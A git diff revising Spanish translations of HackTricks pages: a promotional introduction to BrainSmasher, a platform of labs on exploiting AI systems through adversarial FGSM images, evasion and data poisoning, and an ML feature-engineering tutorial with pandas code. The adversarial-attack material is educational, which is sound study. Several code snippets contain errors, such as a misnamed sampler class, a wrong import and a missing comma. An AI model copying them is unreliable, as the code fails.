diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md
index 3a1a5e1d3..29763fdae 100644
--- a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md
@@ -1,48 +1,48 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
# Presentación
-**BrainSmasher** es una plataforma creada con el propósito de ayudar a **pentesters, investigadores, estudiantes, ingenieros de ciberseguridad en A.I.** a practicar y aprender todas las técnicas para **explotar aplicaciones comerciales de A.I.**, trabajando en laboratorios especialmente diseñados que reproducen varios sistemas, como reconocimiento facial, reconocimiento de voz, clasificación de imágenes en conjunto, conducción autónoma, evasión de malware, chatbot, envenenamiento de datos, etc...
+**BrainSmasher** es una plataforma creada con el propósito de ayudar a **pentesters, investigadores, estudiantes, ingenieros de ciberseguridad de A.I.** a practicar y aprender todas las técnicas para **explotar aplicaciones comerciales de A.I.**, trabajando en laboratorios específicamente diseñados que reproducen varios sistemas, como reconocimiento facial, reconocimiento de voz, clasificación de imágenes en conjunto, conducción autónoma, evasión de malware, chatbot, envenenamiento de datos, etc.
-Cada mes se publicará un laboratorio sobre diversos temas encontrados en aplicaciones comerciales de A.I., con **3 diferentes niveles de dificultad** (denominados desafíos), con el fin de **guiar** al usuario en la **comprensión** de toda la mecánica detrás de ello y practicar **diferentes** formas de **explotación**.
+Cada mes se publicará un laboratorio sobre varios temas encontrados en aplicaciones comerciales de A.I., con **3 dificultades diferentes** (llamadas desafíos), con el fin de **guiar** al usuario en **comprender** todos los mecanismos detrás de ello y practicar **diferentes** formas de **explotación**.
-Dado que las aplicaciones de A.I. son relativamente nuevas, también existe la posibilidad de que los desafíos de **mayor dificultad para los laboratorios no tengan métodos de explotación conocidos públicamente**, por lo que depende de ti encontrar la solución correcta. Tal vez algunos desafíos podrían necesitar la **combinación** de técnicas de **ciberseguridad "estándar"** con ataques adversarios de **aprendizaje automático** ;)
+Dado que las aplicaciones de A.I. son relativamente nuevas, también existe la posibilidad de que los desafíos de mayor dificultad para los laboratorios no tengan algunas formas de explotación públicamente conocidas, por lo que depende de ti encontrar la solución correcta. Tal vez algunos desafíos podrían necesitar la **combinación** de técnicas de ciberseguridad "**estándar**" con ataques adversariales de **aprendizaje** **automático** ;)
-La plataforma, que ahora está en versión **beta**, también contará en el futuro próximo con competiciones **pagadas**, publicación de **ofertas de trabajo**, sistema de **clasificación**, **tutoriales** sobre varios temas de explotación de A.I., la posibilidad de **ganar** **dinero** **proponiendo** laboratorios personales o diferentes desafíos, para aplicaciones de laboratorio de A.I. ya existentes, para ser utilizados por la comunidad y también proponer modificaciones a desafíos ya existentes con el fin de aumentar su robustez frente a los diversos ataques.
+La plataforma, que actualmente se encuentra en versión **beta**, también contará en un futuro próximo con competiciones **pagas**, publicación de **ofertas de trabajo**, sistema de **ranking**, tutoriales sobre varios temas de explotación de A.I., la posibilidad de **ganar dinero** proponiendo laboratorios personales o diferentes desafíos, para aplicaciones de laboratorios de A.I. ya existentes, para ser utilizados por la comunidad y también proponer modificaciones a desafíos ya existentes para aumentar su robustez frente a varios ataques.
Todo el **material y las técnicas para la explotación de A.I. se publicarán aquí** en una sección dedicada de hacktricks.
-**Mientras** estamos en versión **beta** y completando la implementación de todas las características descritas anteriormente, la suscripción y todos los laboratorios ya publicados con sus respectivos **desafíos son gratuitos**.\
-**Así que comienza a aprender cómo explotar A.I. gratis mientras puedas en** [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)\
-DISFRUTA ;)
+**Mientras** estamos en **versión beta** y completando la implementación de todas las características descritas anteriormente, la suscripción y todos los laboratorios ya publicados con sus respectivos **desafíos son gratuitos**.\
+**Así que comienza a aprender cómo explotar A.I. de forma gratuita mientras puedas en** [**Sitio web de BrA.I.Smasher**](https://beta.brainsmasher.eu)\
+¡DISFRUTA ;)
-_Un gran agradecimiento a Hacktricks y Carlos Polop por darnos esta oportunidad_
+_Un gran agradecimiento a Hacktricks y Carlos Polop por brindarnos esta oportunidad_
> _Walter Miele de BrA.I.nsmasher_
# Desafío de Registro
-Para registrarte en [**BrA.I.Smasher**](https://beta.brainsmasher.eu) necesitas resolver un desafío fácil ([**aquí**](https://beta.brainsmasher.eu/registrationChallenge)).\
-Solo piensa cómo puedes confundir una red neuronal sin confundir a la otra sabiendo que una detecta mejor el panda mientras que la otra es peor...
+Para registrarte en [**BrA.I.Smasher** ](https://beta.brainsmasher.eu) necesitas resolver un desafío fácil ([**aquí**](https://beta.brainsmasher.eu/registrationChallenge)).\
+Solo piensa cómo puedes confundir a una red neuronal sin confundir a la otra sabiendo que una detecta mejor al panda mientras que la otra es peor...
{% hint style="info" %}
-Sin embargo, si en algún momento **no sabes cómo resolver** el desafío, o **incluso si lo resuelves**, consulta la solución oficial en [**google colab**](https://colab.research.google.com/drive/1MR8i_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing).
+Sin embargo, si en algún momento **no sabes cómo resolver** el desafío, o **incluso si lo resuelves**, consulta la solución oficial en [**google colab**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing).
{% endhint %}
-Tengo que decirte que hay **formas más fáciles** de pasar el desafío, pero esta **solución** es **impresionante** ya que aprenderás cómo superar el desafío realizando un **Ataque de Imagen Adversaria con un Método de Gradiente Firmado Rápido (FGSM) para imágenes.**
+Tengo que decirte que hay **formas más fáciles** de pasar el desafío, pero esta **solución** es **increíble** ya que aprenderás cómo pasar el desafío realizando un **Ataque de Método Firmado de Gradiente Rápido (FGSM) en imágenes**.
# Más Tutoriales
@@ -53,14 +53,14 @@ Tengo que decirte que hay **formas más fáciles** de pasar el desafío, pero es
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md
index 96dca918b..03502dd59 100644
--- a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md
@@ -1,14 +1,14 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
@@ -17,14 +17,14 @@ Otras formas de apoyar a HackTricks:
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md
index 550dc2986..11b904648 100644
--- a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md
@@ -1,38 +1,38 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta convertirte en un héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
# Tipos básicos de datos posibles
-Los datos pueden ser **continuos** (**infinitos** valores) o **categóricos** (nominales) donde la cantidad de valores posibles es **limitada**.
+Los datos pueden ser **continuos** (valores **infinitos**) o **categóricos** (nominales) donde la cantidad de valores posibles es **limitada**.
## Tipos categóricos
### Binario
-Solo **2 valores posibles**: 1 o 0. En caso de que en un conjunto de datos los valores estén en formato de cadena (por ejemplo, "True" y "False") puedes asignar números a esos valores con:
+Solo **2 valores posibles**: 1 o 0. En caso de que en un conjunto de datos los valores estén en formato de cadena (por ejemplo, "Verdadero" y "Falso") asignas números a esos valores con:
```python
dataset["column2"] = dataset.column2.map({"T": 1, "F": 0})
```
### **Ordinal**
-Los **valores siguen un orden**, como en: 1er lugar, 2do lugar... Si las categorías son cadenas (como: "principiante", "aficionado", "profesional", "experto") puedes mapearlas a números como vimos en el caso binario.
+Los **valores siguen un orden**, como en: 1er lugar, 2do lugar... Si las categorías son cadenas de texto (como: "principiante", "amateur", "profesional", "experto") puedes mapearlos a números como vimos en el caso binario.
```python
column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3}
dataset['column2'] = dataset.column2.map(column2_mapping)
```
-* Para **columnas alfabéticas** puedes ordenarlas más fácilmente:
+* Para las **columnas alfabéticas** puedes ordenarlas más fácilmente:
```python
# First get all the uniq values alphabetically sorted
possible_values_sorted = dataset.column2.sort_values().unique().tolist()
@@ -42,18 +42,18 @@ dataset['column2'] = dataset.column2.map(possible_values_mapping)
```
### **Cíclico**
-Parece **como valor ordinal** porque hay un orden, pero no significa que uno sea mayor que el otro. Además, la **distancia entre ellos depende de la dirección** en la que estés contando. Ejemplo: Los días de la semana, el domingo no es "mayor" que el lunes.
+Parece **un valor ordinal** porque hay un orden, pero no significa que uno sea más grande que el otro. Además, la **distancia entre ellos depende de la dirección** en la que se cuentan. Ejemplo: Los días de la semana, el domingo no es "más grande" que el lunes.
-* Hay **diferentes maneras** de codificar características cíclicas, algunas pueden funcionar solo con algunos algoritmos. **En general, se puede usar la codificación dummy**
+* Hay **diferentes formas** de codificar características cíclicas, algunas pueden funcionar solo con algunos algoritmos. **En general, se puede utilizar la codificación dummy**.
```python
column2_dummies = pd.get_dummies(dataset.column2, drop_first=True)
dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1)
```
### **Fechas**
-Las fechas son **variables** **continuas**. Pueden considerarse **cíclicas** (porque se repiten) **o** como variables **ordinales** (porque un momento es mayor que el anterior).
+Las fechas son **variables** **continuas**. Pueden ser vistas como **cíclicas** (porque se repiten) **o** como variables **ordinales** (porque un tiempo es mayor que otro anterior).
-* Generalmente las fechas se utilizan como **índice**
+* Usualmente las fechas se utilizan como **índice**.
```python
# Transform dates to datetime
dataset["column_date"] = pd.to_datetime(dataset.column_date)
@@ -83,24 +83,24 @@ dataset['day_name'] = dataset.transaction_date.apply(lambda x: x.day_name())
```
### Multi-categoría/nominal
-**Más de 2 categorías** sin un orden relacionado. Usa `dataset.describe(include='all')` para obtener información sobre las categorías de cada característica.
+**Más de 2 categorías** sin un orden relacionado. Utiliza `dataset.describe(include='all')` para obtener información sobre las categorías de cada característica.
-* Una **cadena de referencia** es una **columna que identifica un ejemplo** (como el nombre de una persona). Esto puede estar duplicado (porque 2 personas pueden tener el mismo nombre) pero la mayoría será único. Estos datos son **inútiles y deben eliminarse**.
-* Una **columna clave** se utiliza para **vincular datos entre tablas**. En este caso los elementos son únicos. Estos datos son **inútiles y deben eliminarse**.
+* Una **cadena de referencia** es una **columna que identifica un ejemplo** (como el nombre de una persona). Esto puede estar duplicado (porque 2 personas pueden tener el mismo nombre) pero la mayoría será único. Estos datos son **inútiles y deben ser eliminados**.
+* Una **columna clave** se utiliza para **vincular datos entre tablas**. En este caso, los elementos son únicos. Estos datos son **inútiles y deben ser eliminados**.
-Para **codificar columnas de multi-categoría en números** (para que el algoritmo de ML las entienda), se utiliza la **codificación dummy** (y **no la codificación one-hot** porque **no evita la multicolinealidad perfecta**).
+Para **codificar columnas de múltiples categorías en números** (para que el algoritmo de ML las entienda), se utiliza **codificación dummy** (y **no codificación one-hot** porque **no evita la multicolinealidad perfecta**).
-Puedes obtener una **columna de multi-categoría codificada en one-hot** con `pd.get_dummies(dataset.column1)`. Esto transformará todas las clases en características binarias, por lo que creará **una nueva columna por cada clase posible** y asignará 1 **valor verdadero a una columna**, y el resto serán falsos.
+Puedes obtener una **columna de múltiples categorías codificada en one-hot** con `pd.get_dummies(dataset.column1)`. Esto transformará todas las clases en características binarias, creando **una nueva columna por cada clase posible** y asignará un valor de 1 **verdadero a una columna**, y el resto será falso.
-Puedes obtener una **columna de multi-categoría codificada en dummy** con `pd.get_dummies(dataset.column1, drop_first=True)`. Esto transformará todas las clases en características binarias, por lo que creará **una nueva columna por cada clase posible menos una** ya que **las últimas 2 columnas se reflejarán como "1" o "0" en la última columna binaria creada**. Esto evitará la multicolinealidad perfecta, reduciendo las relaciones entre columnas.
+Puedes obtener una **columna de múltiples categorías codificada en dummies** con `pd.get_dummies(dataset.column1, drop_first=True)`. Esto transformará todas las clases en características binarias, creando **una nueva columna por cada clase posible menos una** ya que **las últimas 2 columnas se reflejarán como "1" o "0" en la última columna binaria creada**. Esto evitará la multicolinealidad perfecta, reduciendo las relaciones entre columnas.
# Colineal/Multicolinealidad
-La colinealidad aparece cuando **2 características están relacionadas entre sí**. La multicolinealidad aparece cuando son más de 2.
+La colinealidad aparece cuando **2 características están relacionadas entre sí**. La multicolinealidad aparece cuando hay más de 2.
-En ML **quieres que tus características estén relacionadas con los posibles resultados pero no quieres que estén relacionadas entre ellas**. Por eso la **codificación dummy mezcla las últimas dos columnas** de eso y **es mejor que la codificación one-hot** que no hace eso creando una relación clara entre todas las nuevas características de la columna de multi-categoría.
+En ML **quieres que tus características estén relacionadas con los posibles resultados pero no quieres que estén relacionadas entre sí**. Por eso la **codificación dummy mezcla las últimas dos columnas** de eso y **es mejor que la codificación one-hot** que no hace eso creando una clara relación entre todas las nuevas características de la columna de múltiples categorías.
-VIF es el **Factor de Inflación de la Varianza** que **mide la multicolinealidad de las características**. Un valor **por encima de 5 significa que una de las dos o más características colineales debe eliminarse**.
+VIF es el **Factor de Inflación de la Varianza** que **mide la multicolinealidad de las características**. Un valor **superior a 5 significa que una de las dos o más características colineales debe ser eliminada**.
```python
from statsmodels.stats.outliers_influence import variance_inflation_factor
from statsmodels.tools.tools import add_constant
@@ -123,9 +123,9 @@ print(dataset.target_column.value_counts())
```
En un desequilibrio siempre hay una **clase o clases mayoritarias** y una **clase o clases minoritarias**.
-Hay 2 maneras principales de solucionar este problema:
+Hay 2 formas principales de solucionar este problema:
-* **Undersampling**: Eliminar datos seleccionados al azar de la clase mayoritaria para que tenga el mismo número de muestras que la clase minoritaria.
+* **Submuestreo**: Eliminar datos seleccionados al azar de la clase mayoritaria para que tenga el mismo número de muestras que la clase minoritaria.
```python
from imblearn.under_sampling import RandomUnderSampler
rus = RandomUserSampler(random_state=1337)
@@ -136,7 +136,7 @@ y = dataset.target_column
X_under, y_under = rus.fit_resample(X,y)
print(y_under.value_counts()) #Confirm data isn't imbalanced anymore
```
-* **Oversampling**: Generar más datos para la clase minoritaria hasta que tenga tantas muestras como la clase mayoritaria.
+* **Sobremuestreo**: Generar más datos para la clase minoritaria hasta que tenga tantas muestras como la clase mayoritaria.
```python
from imblearn.under_sampling import RandomOverSampler
ros = RandomOverSampler(random_state=1337)
@@ -147,15 +147,15 @@ y = dataset.target_column
X_over, y_over = ros.fit_resample(X,y)
print(y_over.value_counts()) #Confirm data isn't imbalanced anymore
```
-Puede utilizar el argumento **`sampling_strategy`** para indicar el **porcentaje** que desea **submuestrear o sobremuestrear** (**por defecto es 1 (100%)**, lo que significa igualar el número de clases minoritarias con las clases mayoritarias)
+Puedes usar el argumento **`sampling_strategy`** para indicar el **porcentaje** que deseas **submuestrear o sobremuestrear** (**por defecto es 1 (100%)** lo que significa igualar el número de clases minoritarias con las clases mayoritarias)
{% hint style="info" %}
-El submuestreo o sobremuestreo no son perfectos si obtiene estadísticas (con `.describe()`) de los datos sub/sobremuestreados y los compara con los originales, verá **que han cambiado**. Por lo tanto, el sobremuestreo y submuestreo están modificando los datos de entrenamiento.
+El submuestreo o sobremuestreo no son perfectos, si obtienes estadísticas (con `.describe()`) de los datos sobremuestreados o submuestreados y los comparas con los originales, verás **que han cambiado**. Por lo tanto, el sobremuestreo y submuestreo modifican los datos de entrenamiento.
{% endhint %}
-## Sobremuestreo con SMOTE
+## Sobremuestreo SMOTE
-**SMOTE** suele ser una **forma más confiable de sobremuestrear los datos**.
+**SMOTE** es generalmente una **forma más confiable de sobremuestrear los datos**.
```python
from imblearn.over_sampling import SMOTE
@@ -166,50 +166,50 @@ dataset_smote = pd.DataFrame(X_smote, columns=['column1', 'column2', 'column3'])
dataset['target_column'] = y_smote
print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore
```
-# Categorías que Ocurren Raramente
+# Categorías que ocurren raramente
Imagina un conjunto de datos donde una de las clases objetivo **ocurre muy pocas veces**.
-Esto es como el desequilibrio de categorías de la sección anterior, pero la categoría que ocurre raramente lo hace incluso menos que la "clase minoritaria" en ese caso. Los métodos de **sobremuestreo** y **submuestreo** **crudos** también podrían usarse aquí, pero generalmente esas técnicas **no darán resultados realmente buenos**.
+Esto es similar al desequilibrio de categorías de la sección anterior, pero la categoría que ocurre raramente ocurre incluso menos que la "clase minoritaria" en ese caso. Los métodos de **sobremuestreo** y **submuestreo** **brutos** también podrían ser utilizados aquí, pero generalmente esas técnicas **no darán resultados realmente buenos**.
## Pesos
-En algunos algoritmos es posible **modificar los pesos de los datos objetivo** para que algunos de ellos obtengan por defecto más importancia al generar el modelo.
+En algunos algoritmos es posible **modificar los pesos de los datos objetivo** para que algunos de ellos tengan por defecto más importancia al generar el modelo.
```python
weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True
model = LogisticRegression(class_weight=weights)
```
-Puedes **combinar los pesos con técnicas de sobremuestreo/submuestreo** para intentar mejorar los resultados.
+Puedes **mezclar los pesos con técnicas de sobre/muestreo** para intentar mejorar los resultados.
## PCA - Análisis de Componentes Principales
Es un método que ayuda a reducir la dimensionalidad de los datos. Va a **combinar diferentes características** para **reducir la cantidad** de ellas generando **características más útiles** (_se necesita menos cálculo_).
-Las características resultantes no son comprensibles para los humanos, por lo que también **anonimiza los datos**.
+Las características resultantes no son comprensibles por los humanos, por lo que también **anonimizan los datos**.
# Categorías de Etiquetas Incongruentes
Los datos pueden tener errores por transformaciones fallidas o simplemente por error humano al escribir los datos.
-Por lo tanto, podrías encontrar la **misma etiqueta con errores ortográficos**, diferente **capitalización**, **abreviaturas** como: _BLUE, Blue, b, bule_. Necesitas corregir estos errores de etiquetas dentro de los datos antes de entrenar el modelo.
+Por lo tanto, es posible encontrar la **misma etiqueta con errores de ortografía**, diferentes **mayúsculas**, **abreviaturas** como: _AZUL, Azul, a, azul_. Debes corregir estos errores de etiqueta dentro de los datos antes de entrenar el modelo.
-Puedes limpiar estos problemas convirtiendo todo a minúsculas y mapeando las etiquetas mal escritas a las correctas.
+Puedes solucionar estos problemas convirtiendo todo a minúsculas y mapeando las etiquetas mal escritas a las correctas.
-Es muy importante verificar que **todos los datos que tienes estén correctamente etiquetados**, porque por ejemplo, un error de ortografía en los datos, al codificar las clases de forma ficticia, generará una nueva columna en las características finales con **malas consecuencias para el modelo final**. Este ejemplo se puede detectar muy fácilmente codificando una columna en caliente y revisando los nombres de las columnas creadas.
+Es muy importante verificar que **todos los datos que tienes estén etiquetados correctamente**, porque por ejemplo, un error de ortografía en los datos, al codificar en dummies las clases, generará una nueva columna en las características finales con **consecuencias negativas para el modelo final**. Este ejemplo se puede detectar muy fácilmente codificando en one-hot una columna y verificando los nombres de las columnas creadas.
# Datos Faltantes
-Puede que falten algunos datos del estudio.
+Algunos datos del estudio pueden faltar.
-Podría ocurrir que algunos datos completamente aleatorios falten por algún error. Este tipo de datos es **Missing Completely at Random** (**MCAR**).
+Puede suceder que falten algunos datos aleatorios por algún error. Este tipo de datos faltantes es **Faltante Completamente al Azar** (**MCAR**).
-Podría ser que falten algunos datos aleatorios pero hay algo que hace que ciertos detalles específicos sean más propensos a faltar, por ejemplo, es más frecuente que los hombres revelen su edad pero no las mujeres. Esto se llama **Missing at Random** (**MAR**).
+Podría ser que falten algunos datos aleatorios pero haya algo que haga que algunos detalles específicos sean más probables de faltar, por ejemplo, es más probable que un hombre diga su edad pero no una mujer. Esto se llama **Faltante al Azar** (**MAR**).
-Finalmente, podría haber datos **Missing Not at Random** (**MNAR**). El valor de los datos está directamente relacionado con la probabilidad de tener los datos. Por ejemplo, si quieres medir algo vergonzoso, cuanto más vergonzoso sea alguien, menos probable es que lo comparta.
+Finalmente, podría haber datos **Faltantes No al Azar** (**MNAR**). El valor de los datos está directamente relacionado con la probabilidad de tener los datos. Por ejemplo, si quieres medir algo vergonzoso, cuanto más vergonzosa sea una persona, menos probable es que lo comparta.
-Las **dos primeras categorías** de datos faltantes pueden ser **ignorables**. Pero la **tercera** requiere considerar **solo porciones de los datos** que no estén impactados o intentar **modelar los datos faltantes de alguna manera**.
+Las **dos primeras categorías** de datos faltantes pueden ser **ignoradas**. Pero la **tercera** requiere considerar **solo porciones de los datos** que no se ven afectadas o intentar **modelar de alguna manera los datos faltantes**.
-Una forma de descubrir datos faltantes es usar la función `.info()` ya que indicará el **número de filas pero también el número de valores por categoría**. Si alguna categoría tiene menos valores que el número de filas, entonces hay algunos datos faltantes:
+Una forma de detectar datos faltantes es usar la función `.info()` ya que indicará el **número de filas pero también el número de valores por categoría**. Si alguna categoría tiene menos valores que el número de filas, entonces faltan algunos datos:
```bash
# Get info of the dataset
dataset.info()
@@ -217,29 +217,29 @@ dataset.info()
# Drop all rows where some value is missing
dataset.dropna(how='any', axis=0).info()
```
-Se recomienda generalmente que si una característica **falta en más del 20%** del conjunto de datos, la **columna debe eliminarse:**
+Generalmente se recomienda que si una característica falta en más del **20%** del conjunto de datos, la **columna debe ser eliminada:**
```bash
# Remove column
dataset.drop('Column_name', axis='columns', inplace=True)
dataset.info()
